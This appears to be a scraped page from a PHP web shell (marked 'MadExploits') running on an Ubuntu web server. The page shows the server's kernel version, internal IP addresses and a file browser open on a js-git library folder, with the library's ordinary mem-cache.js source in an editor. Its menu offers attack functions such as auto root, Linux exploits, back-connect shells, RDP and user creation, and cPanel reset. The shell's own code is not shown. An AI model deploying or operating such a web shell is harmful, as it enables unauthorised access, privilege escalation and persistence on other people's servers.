Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
js-git /
mixins /
[ HOME SHELL ]
Name
Size
Permission
Action
add-cache.js
1.59
KB
-rw-rw-r--
create-tree.js
3.84
KB
-rw-rw-r--
delay.js
1.43
KB
-rw-rw-r--
fall-through.js
811
B
-rw-rw-r--
formats.js
3.55
KB
-rw-rw-r--
fs-db.js
10.3
KB
-rw-rw-r--
indexed-db.js
3.84
KB
-rw-rw-r--
mem-cache.js
1.54
KB
-rw-rw-r--
mem-db.js
2.24
KB
-rw-rw-r--
pack-ops.js
5.8
KB
-rw-rw-r--
path-to-entry.js
1.23
KB
-rw-rw-r--
read-combiner.js
761
B
-rw-rw-r--
sync.js
4.11
KB
-rw-rw-r--
walkers.js
3.82
KB
-rw-rw-r--
websql-db.js
4.38
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mem-cache.js
"use strict"; var encoders = require('../lib/object-codec').encoders; var decoders = require('../lib/object-codec').decoders; var Binary = require('bodec').Binary; var cache = memCache.cache = {}; module.exports = memCache; function memCache(repo) { var loadAs = repo.loadAs; repo.loadAs = loadAsCached; function loadAsCached(type, hash, callback) { if (!callback) return loadAsCached.bind(this, type, hash); if (hash in cache) return callback(null, dupe(type, cache[hash]), hash); loadAs.call(repo, type, hash, function (err, value) { if (value === undefined) return callback(err); if (type !== "blob" || value.length < 100) { cache[hash] = dupe(type, value); } return callback.apply(this, arguments); }); } var saveAs = repo.saveAs; repo.saveAs = saveAsCached; function saveAsCached(type, value, callback) { if (!callback) return saveAsCached.bind(this, type, value); value = dupe(type, value); saveAs.call(repo, type, value, function (err, hash) { if (err) return callback(err); if (type !== "blob" || value.length < 100) { cache[hash] = value; } return callback(null, hash, value); }); } } function dupe(type, value) { if (type === "blob") { if (type.length >= 100) return value; return new Binary(value); } return decoders[type](encoders[type](value)); } function deepFreeze(obj) { Object.freeze(obj); Object.keys(obj).forEach(function (key) { var value = obj[key]; if (typeof value === "object") deepFreeze(value); }); }
Close